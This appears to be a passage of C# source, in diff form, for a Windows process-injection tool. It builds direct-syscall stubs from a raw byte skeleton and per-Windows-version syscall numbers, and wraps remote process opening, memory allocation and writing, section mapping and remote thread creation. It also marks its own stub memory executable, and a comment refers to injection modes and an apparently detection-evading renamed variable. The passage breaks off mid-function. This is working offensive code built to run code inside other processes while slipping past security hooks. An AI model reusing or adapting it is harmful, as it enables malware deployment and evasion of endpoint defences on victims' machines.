nativeStructs.NtCreateThreadExBuffer + { + Size = sizeof(nativeStructs.NtCreateThreadExBuffer), + Unknown1 = 0x10003, + Unknown2 = 0x8, + Unknown3 = new IntPtr(&temp2), + Unknown4 = 0, + Unknown5 = 0x10004, + Unknown6 = 4, + Unknown7 = new IntPtr(&temp1), + Unknown8 = 0, + }; + IntPtr hRemoteThread; + //syscalls.NtCreateThreadEx(out hRemoteThread, 0x1FFFFF, IntPtr.Zero, procHandle, buffer, IntPtr.Zero, 0, 0, (is64bit ? 0xFFFF : 0u), (is64bit ? 0xFFFF : 0u), (is64bit ? IntPtr.Zero : new IntPtr(&nb)), os); + //if OPENSEC then a thread is created in a remote process with the remote section addr as starting point. + //if ALLOCWRITE then a thread is created poiting to a memory address with our yr_var_foobar_1_ccx + syscalls.NtCreateThreadEx(out hRemoteThread, 0x1FFFFF, IntPtr.Zero, procHandle, remoteAddr, IntPtr.Zero, 0, 0, 0xFFFF, 0xFFFF, IntPtr.Zero, os); + + return 0; + } + + public static uint getLowPart(uint size) + { + nativeStructs.SYSTEM_INFO info = new nativeStructs.SYSTEM_INFO(); + nativeStructs.GetSystemInfo(ref info); + return (info.dwPageSize - size % info.dwPageSize) + size; + } + } + class nativeStructs + { + + public const uint MEM_COMMIT = 0x00001000; + public const uint MEM_RESERVE = 0x00002000; + public const uint PAGE_EXECUTE_READWRITE = 0x40; + + public const int FILE_READ_DATA = 0x0001; // file & pipe + public const int FILE_LIST_DIRECTORY = 0x0001; // directory + public const int FILE_WRITE_DATA = 0x0002; // file & pipe + public const int FILE_ADD_FILE = 0x0002; // directory + public const int FILE_APPEND_DATA = 0x0004; // file + public const int FILE_ADD_SUBDIRECTORY = 0x0004; // directory + public const int FILE_CREATE_PIPE_INSTANCE = 0x0004; // named pipe + public const int FILE_READ_EA = 0x0008; // file & directory + public const int FILE_WRITE_EA = 0x0010; // file & directory + public const int FILE_EXECUTE = 0x0020; // file + public const int FILE_TRAVERSE = 0x0020; // directory + public const int FILE_DELETE_CHILD = 0x0040; // directory + public const int FILE_READ_ATTRIBUTES = 0x0080; // all + public const int FILE_WRITE_ATTRIBUTES = 0x0100; // all + public const int FILE_OVERWRITE_IF = 0x00000005; + public const int FILE_SYNCHRONOUS_IO_NONALERT = 0x00000020; + + public const long READ_CONTROL = 0x00020000; + public const long SYNCHRONIZE = 0x00100000; + public const long STANDARD_RIGHTS_WRITE = READ_CONTROL; + public const long STANDARD_RIGHTS_EXECUTE = READ_CONTROL; + public const long STANDARD_RIGHTS_ALL = 0x001F0000; + + public const long SPECIFIC_RIGHTS_ALL = 0x0000FFFF; + public const long FILE_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1FF; + + public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000; + public const UInt32 STANDARD_RIGHTS_READ = 0x00020000; + public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001; + public const UInt32 TOKEN_DUPLICATE = 0x0002; + public const UInt32 TOKEN_IMPERSONATE = 0x0004; + public const UInt32 TOKEN_QUERY = 0x0008; + public const UInt32 TOKEN_QUERY_SOURCE = 0x0010; + public const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020; + public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040; + public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080; + public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100; + public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY); + public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | + TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | + TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | + TOKEN_ADJUST_SESSIONID); + public const UInt32 TOKEN_ALT = (TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY); + + public const UInt32 SE_PRIVILEGE_ENABLED = 0x2; + + public const long FILE_GENERIC_READ = STANDARD_RIGHTS_READ | + FILE_READ_DATA | + FILE_READ_ATTRIBUTES | + FILE_READ_EA | + SYNCHRONIZE; + + public const long FILE_GENERIC_WRITE = STANDARD_RIGHTS_WRITE | + FILE_WRITE_DATA | + FILE_WRITE_ATTRIBUTES | + FILE_WRITE_EA | + FILE_APPEND_DATA | + SYNCHRONIZE; + + public const long FILE_GENERIC_EXECUTE = STANDARD_RIGHTS_EXECUTE | + FILE_READ_ATTRIBUTES | + FILE_EXECUTE | + SYNCHRONIZE; + + public const int FILE_SHARE_READ = 0x00000001; + public const int FILE_SHARE_WRITE = 0x00000002; + public const int FILE_SHARE_DELETE = 0x00000004; + public const int FILE_ATTRIBUTE_READONLY = 0x00000001; + public const int FILE_ATTRIBUTE_HIDDEN = 0x00000002; + public const int FILE_ATTRIBUTE_SYSTEM = 0x00000004; + public const int FILE_ATTRIBUTE_DIRECTORY = 0x00000010; + public const int FILE_ATTRIBUTE_ARCHIVE = 0x00000020; + public const int FILE_ATTRIBUTE_DEVICE = 0x00000040; + public const int FILE_ATTRIBUTE_NORMAL = 0x00000080; + public const int FILE_ATTRIBUTE_TEMPORARY = 0x00000100; + public const int FILE_ATTRIBUTE_SPARSE_FILE = 0x00000200; + public const int FILE_ATTRIBUTE_REPARSE_POINT = 0x00000400; + public const int FILE_ATTRIBUTE_COMPRESSED = 0x00000800; + public const int FILE_ATTRIBUTE_OFFLINE = 0x00001000; + public const int FILE_ATTRIBUTE_NOT_CONTENT_INDEXED = 0x00002000; + public const int FILE_ATTRIBUTE_ENCRYPTED = 0x00004000; + public const int FILE_NOTIFY_CHANGE_FILE_NAME = 0x00000001; + public const int FILE_NOTIFY_CHANGE_DIR_NAME = 0x00000002; + public const int FILE_NOTIFY_CHANGE_ATTRIBUTES = 0x00000004; + public const int FILE_NOTIFY_CHANGE_SIZE = 0x00000008; + public const int FILE_NOTIFY_CHANGE_LAST_WRITE = 0x00000010; + public const int FILE_NOTIFY_CHANGE_LAST_ACCESS = 0x00000020; + public const int FILE_NOTIFY_CHANGE_CREATION = 0x00000040; + public const int FILE_NOTIFY_CHANGE_SECURITY = 0x00000100; + public const int FILE_ACTION_ADDED = 0x00000001; + public const int FILE_ACTION_REMOVED = 0x00000002; + public const int FILE_ACTION_MODIFIED = 0x00000003; + public const int FILE_ACTION_RENAMED_OLD_NAME = 0x00000004; + public const int FILE_ACTION_RENAMED_NEW_NAME = 0x00000005; + public const int MAILSLOT_NO_MESSAGE = -1; + public const int MAILSLOT_WAIT_FOREVER = -1; + public const int FILE_CASE_SENSITIVE_SEARCH = 0x00000001; + public const int FILE_CASE_PRESERVED_NAMES = 0x00000002; + public const int FILE_UNICODE_ON_DISK = 0x00000004; + public const int FILE_PERSISTENT_ACLS = 0x00000008; + public const int FILE_FILE_COMPRESSION = 0x00000010; + public const int FILE_VOLUME_QUOTAS = 0x00000020; + public const int FILE_SUPPORTS_SPARSE_FILES = 0x00000040; + public const int FILE_SUPPORTS_REPARSE_POINTS = 0x00000080; + public const int FILE_SUPPORTS_REMOTE_STORAGE = 0x00000100; + public const int FILE_VOLUME_IS_COMPRESSED = 0x00008000; + public const int FILE_SUPPORTS_OBJECT_IDS = 0x00010000; + public const int FILE_SUPPORTS_ENCRYPTION = 0x00020000; + public const int FILE_NAMED_STREAMS = 0x00040000; + public const int FILE_READ_ONLY_VOLUME = 0x00080000; + public const int CREATE_ALWAYS = 2; + + [StructLayout(LayoutKind.Sequential, Pack = 4)] + public struct NtCreateThreadExBuffer + { + public int Size; + public uint Unknown1; + public uint Unknown2; + public IntPtr Unknown3; + public uint Unknown4; + public uint Unknown5; + public uint Unknown6; + public IntPtr Unknown7; + public uint Unknown8; + }; + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct OSVERSIONINFOEXW + { + public int dwOSVersionInfoSize; + public int dwMajorVersion; + public int dwMinorVersion; + public int dwBuildNumber; + public int dwPlatformId; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] + public string szCSDVersion; + public UInt16 wServicePackMajor; + public UInt16 wServicePackMinor; + public UInt16 wSuiteMask; + public byte wProductType; + public byte wReserved; + } + + + + [StructLayout(LayoutKind.Sequential)] + public struct LARGE_INTEGER + { + public UInt32 LowPart; + public UInt32 HighPart; + } + + + [StructLayout(LayoutKind.Sequential)] + public struct SYSTEM_INFO + { + public uint dwOem; + public uint dwPageSize; + public IntPtr lpMinAppAddress; + public IntPtr lpMaxAppAddress; + public IntPtr dwActiveProcMask; + public uint dwNumProcs; + public uint dwProcType; + public uint dwAllocGranularity; + public ushort wProcLevel; + public ushort wProcRevision; + } + + + [Flags] + public enum ProcessAccessFlags : uint + { + All = 0x001F0FFF, + Terminate = 0x00000001, + CreateThread = 0x00000002, + VirtualMemoryOperation = 0x00000008, + VirtualMemoryRead = 0x00000010, + VirtualMemoryWrite = 0x00000020, + DuplicateHandle = 0x00000040, + CreateProcess = 0x000000080, + SetQuota = 0x00000100, + SetInformation = 0x00000200, + QueryInformation = 0x00000400, + QueryLimitedInformation = 0x00001000, + Synchronize = 0x00100000 + } + + public struct CLIENT_ID + { + public IntPtr UniqueProcess; + public IntPtr UniqueThread; + } + + [StructLayout(LayoutKind.Sequential)] + public struct OBJECT_ATTRIBUTES + { + public ulong Length; + public IntPtr RootDirectory; + public IntPtr ObjectName; + public ulong Attributes; + public IntPtr SecurityDescriptor; + public IntPtr SecurityQualityOfService; + } + + public enum NTSTATUS : uint + { + // Success + Success = 0x00000000, + Wait0 = 0x00000000, + Wait1 = 0x00000001, + Wait2 = 0x00000002, + Wait3 = 0x00000003, + Wait63 = 0x0000003f, + Abandoned = 0x00000080, + AbandonedWait0 = 0x00000080, + AbandonedWait1 = 0x00000081, + AbandonedWait2 = 0x00000082, + AbandonedWait3 = 0x00000083, + AbandonedWait63 = 0x000000bf, + UserApc = 0x000000c0, + KernelApc = 0x00000100, + Alerted = 0x00000101, + Timeout = 0x00000102, + Pending = 0x00000103, + Reparse = 0x00000104, + MoreEntries = 0x00000105, + NotAllAssigned = 0x00000106, + SomeNotMapped = 0x00000107, + OpLockBreakInProgress = 0x00000108, + VolumeMounted = 0x00000109, + RxActCommitted = 0x0000010a, + NotifyCleanup = 0x0000010b, + NotifyEnumDir = 0x0000010c, + NoQuotasForAccount = 0x0000010d, + PrimaryTransportConnectFailed = 0x0000010e, + PageFaultTransition = 0x00000110, + PageFaultDemandZero = 0x00000111, + PageFaultCopyOnWrite = 0x00000112, + PageFaultGuardPage = 0x00000113, + PageFaultPagingFile = 0x00000114, + CrashDump = 0x00000116, + ReparseObject = 0x00000118, + NothingToTerminate = 0x00000122, + ProcessNotInJob = 0x00000123, + ProcessInJob = 0x00000124, + ProcessCloned = 0x00000129, + FileLockedWithOnlyReaders = 0x0000012a, + FileLockedWithWriters = 0x0000012b, + + // Informational + Informational = 0x40000000, + ObjectNameExists = 0x40000000, + ThreadWasSuspended = 0x40000001, + WorkingSetLimitRange = 0x40000002, + ImageNotAtBase = 0x40000003, + RegistryRecovered = 0x40000009, + + // Warning + Warning = 0x80000000, + GuardPageViolation = 0x80000001, + DatatypeMisalignment = 0x80000002, + Breakpoint = 0x80000003, + SingleStep = 0x80000004, + BufferOverflow = 0x80000005, + NoMoreFiles = 0x80000006, + HandlesClosed = 0x8000000a, + PartialCopy = 0x8000000d, + DeviceBusy = 0x80000011, + InvalidEaName = 0x80000013, + EaListInconsistent = 0x80000014, + NoMoreEntries = 0x8000001a, + LongJump = 0x80000026, + DllMightBeInsecure = 0x8000002b, + + // Error + Error = 0xc0000000, + Unsuccessful = 0xc0000001, + NotImplemented = 0xc0000002, + InvalidInfoClass = 0xc0000003, + InfoLengthMismatch = 0xc0000004, + AccessViolation = 0xc0000005, + InPageError = 0xc0000006, + PagefileQuota = 0xc0000007, + InvalidHandle = 0xc0000008, + BadInitialStack = 0xc0000009, + BadInitialPc = 0xc000000a, + InvalidCid = 0xc000000b, + TimerNotCanceled = 0xc000000c, + InvalidParameter = 0xc000000d, + NoSuchDevice = 0xc000000e, + NoSuchFile = 0xc000000f, + InvalidDeviceRequest = 0xc0000010, + EndOfFile = 0xc0000011, + WrongVolume = 0xc0000012, + NoMediaInDevice = 0xc0000013, + NoMemory = 0xc0000017, + ConflictingAddresses = 0xc0000018, + NotMappedView = 0xc0000019, + UnableToFreeVm = 0xc000001a, + UnableToDeleteSection = 0xc000001b, + IllegalInstruction = 0xc000001d, + AlreadyCommitted = 0xc0000021, + AccessDenied = 0xc0000022, + BufferTooSmall = 0xc0000023, + ObjectTypeMismatch = 0xc0000024, + NonContinuableException = 0xc0000025, + BadStack = 0xc0000028, + NotLocked = 0xc000002a, + NotCommitted = 0xc000002d, + InvalidParameterMix = 0xc0000030, + ObjectNameInvalid = 0xc0000033, + ObjectNameNotFound = 0xc0000034, + ObjectNameCollision = 0xc0000035, + ObjectPathInvalid = 0xc0000039, + ObjectPathNotFound = 0xc000003a, + ObjectPathSyntaxBad = 0xc000003b, + DataOverrun = 0xc000003c, + DataLate = 0xc000003d, + DataError = 0xc000003e, + CrcError = 0xc000003f, + SectionTooBig = 0xc0000040, + PortConnectionRefused = 0xc0000041, + InvalidPortHandle = 0xc0000042, + SharingViolation = 0xc0000043, + QuotaExceeded = 0xc0000044, + InvalidPageProtection = 0xc0000045, + MutantNotOwned = 0xc0000046, + SemaphoreLimitExceeded = 0xc0000047, + PortAlreadySet = 0xc0000048, + SectionNotImage = 0xc0000049, + SuspendCountExceeded = 0xc000004a, + ThreadIsTerminating = 0xc000004b, + BadWorkingSetLimit = 0xc000004c, + IncompatibleFileMap = 0xc000004d, + SectionProtection = 0xc000004e, + EasNotSupported = 0xc000004f, + EaTooLarge = 0xc0000050, + NonExistentEaEntry = 0xc0000051, + NoEasOnFile = 0xc0000052, + EaCorruptError = 0xc0000053, + FileLockConflict = 0xc0000054, + LockNotGranted = 0xc0000055, + DeletePending = 0xc0000056, + CtlFileNotSupported = 0xc0000057, + UnknownRevision = 0xc0000058, + RevisionMismatch = 0xc0000059, + InvalidOwner = 0xc000005a, + InvalidPrimaryGroup = 0xc000005b, + NoImpersonationToken = 0xc000005c, + CantDisableMandatory = 0xc000005d, + NoLogonServers = 0xc000005e, + NoSuchLogonSession = 0xc000005f, + NoSuchPrivilege = 0xc0000060, + PrivilegeNotHeld = 0xc0000061, + InvalidAccountName = 0xc0000062, + UserExists = 0xc0000063, + NoSuchUser = 0xc0000064, + GroupExists = 0xc0000065, + NoSuchGroup = 0xc0000066, + MemberInGroup = 0xc0000067, + MemberNotInGroup = 0xc0000068, + LastAdmin = 0xc0000069, + WrongPassword = 0xc000006a, + IllFormedPassword = 0xc000006b, + PasswordRestriction = 0xc000006c, + LogonFailure = 0xc000006d, + AccountRestriction = 0xc000006e, + InvalidLogonHours = 0xc000006f, + InvalidWorkstation = 0xc0000070, + PasswordExpired = 0xc0000071, + AccountDisabled = 0xc0000072, + NoneMapped = 0xc0000073, + TooManyLuidsRequested = 0xc0000074, + LuidsExhausted = 0xc0000075, + InvalidSubAuthority = 0xc0000076, + InvalidAcl = 0xc0000077, + InvalidSid = 0xc0000078, + InvalidSecurityDescr = 0xc0000079, + ProcedureNotFound = 0xc000007a, + InvalidImageFormat = 0xc000007b, + NoToken = 0xc000007c, + BadInheritanceAcl = 0xc000007d, + RangeNotLocked = 0xc000007e, + DiskFull = 0xc000007f, + ServerDisabled = 0xc0000080, + ServerNotDisabled = 0xc0000081, + TooManyGuidsRequested = 0xc0000082, + GuidsExhausted = 0xc0000083, + InvalidIdAuthority = 0xc0000084, + AgentsExhausted = 0xc0000085, + InvalidVolumeLabel = 0xc0000086, + SectionNotExtended = 0xc0000087, + NotMappedData = 0xc0000088, + ResourceDataNotFound = 0xc0000089, + ResourceTypeNotFound = 0xc000008a, + ResourceNameNotFound = 0xc000008b, + ArrayBoundsExceeded = 0xc000008c, + FloatDenormalOperand = 0xc000008d, + FloatDivideByZero = 0xc000008e, + FloatInexactResult = 0xc000008f, + FloatInvalidOperation = 0xc0000090, + FloatOverflow = 0xc0000091, + FloatStackCheck = 0xc0000092, + FloatUnderflow = 0xc0000093, + IntegerDivideByZero = 0xc0000094, + IntegerOverflow = 0xc0000095, + PrivilegedInstruction = 0xc0000096, + TooManyPagingFiles = 0xc0000097, + FileInvalid = 0xc0000098, + InstanceNotAvailable = 0xc00000ab, + PipeNotAvailable = 0xc00000ac, + InvalidPipeState = 0xc00000ad, + PipeBusy = 0xc00000ae, + IllegalFunction = 0xc00000af, + PipeDisconnected = 0xc00000b0, + PipeClosing = 0xc00000b1, + PipeConnected = 0xc00000b2, + PipeListening = 0xc00000b3, + InvalidReadMode = 0xc00000b4, + IoTimeout = 0xc00000b5, + FileForcedClosed = 0xc00000b6, + ProfilingNotStarted = 0xc00000b7, + ProfilingNotStopped = 0xc00000b8, + NotSameDevice = 0xc00000d4, + FileRenamed = 0xc00000d5, + CantWait = 0xc00000d8, + PipeEmpty = 0xc00000d9, + CantTerminateSelf = 0xc00000db, + InternalError = 0xc00000e5, + InvalidParameter1 = 0xc00000ef, + InvalidParameter2 = 0xc00000f0, + InvalidParameter3 = 0xc00000f1, + InvalidParameter4 = 0xc00000f2, + InvalidParameter5 = 0xc00000f3, + InvalidParameter6 = 0xc00000f4, + InvalidParameter7 = 0xc00000f5, + InvalidParameter8 = 0xc00000f6, + InvalidParameter9 = 0xc00000f7, + InvalidParameter10 = 0xc00000f8, + InvalidParameter11 = 0xc00000f9, + InvalidParameter12 = 0xc00000fa, + MappedFileSizeZero = 0xc000011e, + TooManyOpenedFiles = 0xc000011f, + Cancelled = 0xc0000120, + CannotDelete = 0xc0000121, + InvalidComputerName = 0xc0000122, + FileDeleted = 0xc0000123, + SpecialAccount = 0xc0000124, + SpecialGroup = 0xc0000125, + SpecialUser = 0xc0000126, + MembersPrimaryGroup = 0xc0000127, + FileClosed = 0xc0000128, + TooManyThreads = 0xc0000129, + ThreadNotInProcess = 0xc000012a, + TokenAlreadyInUse = 0xc000012b, + PagefileQuotaExceeded = 0xc000012c, + CommitmentLimit = 0xc000012d, + InvalidImageLeFormat = 0xc000012e, + InvalidImageNotMz = 0xc000012f, + InvalidImageProtect = 0xc0000130, + InvalidImageWin16 = 0xc0000131, + LogonServer = 0xc0000132, + DifferenceAtDc = 0xc0000133, + SynchronizationRequired = 0xc0000134, + DllNotFound = 0xc0000135, + IoPrivilegeFailed = 0xc0000137, + OrdinalNotFound = 0xc0000138, + EntryPointNotFound = 0xc0000139, + ControlCExit = 0xc000013a, + PortNotSet = 0xc0000353, + DebuggerInactive = 0xc0000354, + CallbackBypass = 0xc0000503, + PortClosed = 0xc0000700, + MessageLost = 0xc0000701, + InvalidMessage = 0xc0000702, + RequestCanceled = 0xc0000703, + RecursiveDispatch = 0xc0000704, + LpcReceiveBufferExpected = 0xc0000705, + LpcInvalidConnectionUsage = 0xc0000706, + LpcRequestsNotAllowed = 0xc0000707, + ResourceInUse = 0xc0000708, + ProcessIsProtected = 0xc0000712, + VolumeDirty = 0xc0000806, + FileCheckedOut = 0xc0000901, + CheckOutRequired = 0xc0000902, + BadFileType = 0xc0000903, + FileTooLarge = 0xc0000904, + FormsAuthRequired = 0xc0000905, + VirusInfected = 0xc0000906, + VirusDeleted = 0xc0000907, + TransactionalConflict = 0xc0190001, + InvalidTransaction = 0xc0190002, + TransactionNotActive = 0xc0190003, + TmInitializationFailed = 0xc0190004, + RmNotActive = 0xc0190005, + RmMetadataCorrupt = 0xc0190006, + TransactionNotJoined = 0xc0190007, + DirectoryNotRm = 0xc0190008, + CouldNotResizeLog = 0xc0190009, + TransactionsUnsupportedRemote = 0xc019000a, + LogResizeInvalidSize = 0xc019000b, + RemoteFileVersionMismatch = 0xc019000c, + CrmProtocolAlreadyExists = 0xc019000f, + TransactionPropagationFailed = 0xc0190010, + CrmProtocolNotFound = 0xc0190011, + TransactionSuperiorExists = 0xc0190012, + TransactionRequestNotValid = 0xc0190013, + TransactionNotRequested = 0xc0190014, + TransactionAlreadyAborted = 0xc0190015, + TransactionAlreadyCommitted = 0xc0190016, + TransactionInvalidMarshallBuffer = 0xc0190017, + CurrentTransactionNotValid = 0xc0190018, + LogGrowthFailed = 0xc0190019, + ObjectNoLongerExists = 0xc0190021, + StreamMiniversionNotFound = 0xc0190022, + StreamMiniversionNotValid = 0xc0190023, + MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024, + CantOpenMiniversionWithModifyIntent = 0xc0190025, + CantCreateMoreStreamMiniversions = 0xc0190026, + HandleNoLongerValid = 0xc0190028, + NoTxfMetadata = 0xc0190029, + LogCorruptionDetected = 0xc0190030, + CantRecoverWithHandleOpen = 0xc0190031, + RmDisconnected = 0xc0190032, + EnlistmentNotSuperior = 0xc0190033, + RecoveryNotNeeded = 0xc0190034, + RmAlreadyStarted = 0xc0190035, + FileIdentityNotPersistent = 0xc0190036, + CantBreakTransactionalDependency = 0xc0190037, + CantCrossRmBoundary = 0xc0190038, + TxfDirNotEmpty = 0xc0190039, + IndoubtTransactionsExist = 0xc019003a, + TmVolatile = 0xc019003b, + RollbackTimerExpired = 0xc019003c, + TxfAttributeCorrupt = 0xc019003d, + EfsNotAllowedInTransaction = 0xc019003e, + TransactionalOpenNotAllowed = 0xc019003f, + TransactedMappingUnsupportedRemote = 0xc0190040, + TxfMetadataAlreadyPresent = 0xc0190041, + TransactionScopeCallbacksNotSet = 0xc0190042, + TransactionRequiredPromotion = 0xc0190043, + CannotExecuteFileInTransaction = 0xc0190044, + TransactionsNotFrozen = 0xc0190045, + + MaximumNtStatus = 0xffffffff + } + + [DllImport(""kernel32.dll"")] + public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); + + [DllImport(""Kernel32.dll"", CallingConvention = CallingConvention.StdCall)] + public static extern void GetSystemInfo(ref nativeStructs.SYSTEM_INFO lpSysInfo); + + [DllImport(""ntdll.dll"", SetLastError = true)] + public static extern bool RtlGetVersion(ref OSVERSIONINFOEXW versionInfo); + } + + class syscalls + { + + + public static byte[] syscallSkeleton = { 0x49, 0x89, 0xCA, 0xB8, 0xFF, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 }; + public static Dictionary> sysDic = new Dictionary>() + { + { ""win10-1507"", new Dictionary() + { + { ""openprocess"",0x26}, + { ""allocatevirtualmem"", 0x18}, + { ""writevirtualmem"", 0x3A}, + { ""createremthread"", 0xB3}, + { ""createsection"", 0x4A }, + { ""mapviewofsec"", 0x28 } + } + }, + { ""win10-1511"", new Dictionary() + { + { ""openprocess"",0x26}, + { ""allocatevirtualmem"", 0x18}, + { ""writevirtualmem"", 0x3A}, + { ""createremthread"", 0xB4}, + { ""mapviewofsec"", 0x28 } + } + }, + { ""win10-1607"", new Dictionary() + { + { ""openprocess"",0x26}, + { ""allocatevirtualmem"", 0x18}, + { ""writevirtualmem"", 0x3A}, + { ""createremthread"", 0xB6}, + { ""createsection"", 0x4A }, + { ""mapviewofsec"", 0x28 } + } + }, + { ""win10-1703"", new Dictionary() + { + { ""openprocess"",0x26}, + { ""allocatevirtualmem"", 0x18}, + { ""writevirtualmem"", 0x3A}, + { ""createremthread"", 0xB9}, + { ""createsection"", 0x4A }, + { ""mapviewofsec"", 0x28 } + } + }, + { ""win10-1709"", new Dictionary() + { + { ""openprocess"",0x26}, + { ""allocatevirtualmem"", 0x18}, + { ""writevirtualmem"", 0x3A}, + { ""createremthread"", 0xBA}, + { ""createsection"", 0x4A }, + { ""mapviewofsec"", 0x28 } + } + }, + { ""win10-1803"", new Dictionary() + { + { ""openprocess"",0x26}, + { ""allocatevirtualmem"", 0x18}, + { ""writevirtualmem"", 0x3A}, + { ""createremthread"", 0xBB}, + { ""createsection"", 0x4A }, + { ""mapviewofsec"", 0x28 } + } + }, + { ""win10-1809"", new Dictionary() + { + { ""openprocess"",0x26}, + { ""allocatevirtualmem"", 0x18}, + { ""writevirtualmem"", 0x3A}, + { ""createremthread"", 0xBC}, + { ""createsection"", 0x4A }, + { ""mapviewofsec"", 0x28 } + } + }, + { ""win10-1903-9"", new Dictionary() + { + { ""openprocess"",0x26}, + { ""allocatevirtualmem"", 0x18}, + { ""writevirtualmem"", 0x3A}, + { ""createremthread"", 0xBD}, + { ""createsection"", 0x4A }, + { ""mapviewofsec"", 0x28 } + } + }, + { ""win8-12"", new Dictionary() + { + { ""openprocess"",0x24}, + { ""allocatevirtualmem"", 0x16}, + { ""writevirtualmem"", 0x38}, + { ""createremthread"", 0xAF}, + { ""createsection"", 0x48 }, + { ""mapviewofsec"", 0x26 } + } + }, + { ""win8.1-12r2"", new Dictionary() + { + { ""openprocess"",0x25}, + { ""allocatevirtualmem"", 0x17}, + { ""writevirtualmem"", 0x39}, + { ""createremthread"", 0xB0}, + { ""createsection"", 0x49 }, + { ""mapviewofsec"", 0x27 } + } + }, + { ""w7-08"", new Dictionary() + { + { ""openprocess"",0x23}, + { ""allocatevirtualmem"", 0x15}, + { ""writevirtualmem"", 0x37}, + { ""createremthread"", 0xA5}, + { ""createsection"", 0x47 }, + { ""mapviewofsec"", 0x25 } + } + } + }; + + public static nativeStructs.NTSTATUS ZwOpenProcess(ref IntPtr hProcess, nativeStructs.ProcessAccessFlags processAccess, nativeStructs.OBJECT_ATTRIBUTES objAttribute, ref nativeStructs.CLIENT_ID clientid, string os) + { + byte[] syscall = syscallSkeleton; + syscall[4] = sysDic[os][""openprocess""]; + + unsafe + { + fixed (byte* ptr = syscall) + { + + IntPtr memoryAddress = (IntPtr)ptr; + uint oldprotect; + + if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, + (UIntPtr)syscall.Length, 0x40, out oldprotect)) + { + throw new Win32Exception(); + } + + Delegates.ZwOpenProcess myAssemblyFunction = (Delegates.ZwOpenProcess)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwOpenProcess)); + + return (nativeStructs.NTSTATUS)myAssemblyFunction(out hProcess, processAccess, objAttribute, ref clientid); + } + } + } + + public static nativeStructs.NTSTATUS NtCreateThreadEx(out IntPtr threadHandle, uint desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr lpStartAddress, IntPtr lpParameter, int createSuspended, uint stackZeroBits, uint sizeOfStackCommit, uint sizeOfStackReserve, IntPtr lpBytesBuffer, string os) + { + byte[] syscall = syscallSkeleton; + syscall[4] = sysDic[os][""createremthread""]; + + unsafe + { + fixed (byte* ptr = syscall) + { + + IntPtr memoryAddress = (IntPtr)ptr; + uint oldprotect; + + if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, + (UIntPtr)syscall.Length, 0x40, out oldprotect)) + { + throw new Win32Exception(); + } + //// + //// + + + Delegates.NtCreateThreadEx myAssemblyFunction = (Delegates.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtCreateThreadEx)); + + return (nativeStructs.NTSTATUS)myAssemblyFunction(out threadHandle, desiredAccess, objectAttributes, processHandle, lpStartAddress, lpParameter, createSuspended, stackZeroBits, sizeOfStackCommit, sizeOfStackReserve, lpBytesBuffer); + } + } + } + + public static nativeStructs.NTSTATUS ZwWriteVirtualMemory(IntPtr hProcess, ref IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref IntPtr lpNumberOfBytesWritten, string os) + { + byte[] syscall = syscallSkeleton; + syscall[4] = sysDic[os][""writevirtualmem""]; + + unsafe + { + fixed (byte* ptr = syscall) + { + + IntPtr memoryAddress = (IntPtr)ptr; + uint oldprotect; + + if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, + (UIntPtr)syscall.Length, 0x40, out oldprotect)) + { + throw new Win32Exception(); + } + + Delegates.ZwWriteVirtualMemory myAssemblyFunction = (Delegates.ZwWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwWriteVirtualMemory)); + + return (nativeStructs.NTSTATUS)myAssemblyFunction(hProcess, lpBaseAddress, lpBuffer, nSize, ref lpNumberOfBytesWritten); + } + } + } + + + public static nativeStructs.NTSTATUS NtAllocateVirtualMemory(IntPtr hProcess, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, ulong AllocationType, ulong Protect, string os) + { + byte[] syscall = syscallSkeleton; + syscall[4] = sysDic[os][""allocatevirtualmem""]; + + unsafe + { + fixed (byte* ptr = syscall) + { + + IntPtr memoryAddress = (IntPtr)ptr; + uint oldprotect; + + if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, + (UIntPtr)syscall.Length, 0x40, out oldprotect)) + { + throw new Win32Exception(); + } + + Delegates.NtAllocateVirtualMemory myAssemblyFunction = (Delegates.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtAllocateVirtualMemory)); + + return (nativeStructs.NTSTATUS)myAssemblyFunction(hProcess, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect); + } + } + } + + public static nativeStructs.NTSTATUS NtCreateSection(ref IntPtr section, uint desiredAccess, IntPtr pAttrs, ref nativeStructs.LARGE_INTEGER pMaxSize, uint pageProt, uint allocationAttribs, IntPtr hFile, string os) + { + byte[] syscall = syscallSkeleton; + syscall[4] = sysDic[os][""createsection""]; + + unsafe + { + fixed (byte* ptr = syscall) + { + + IntPtr memoryAddress = (IntPtr)ptr; + uint oldprotect; + + if 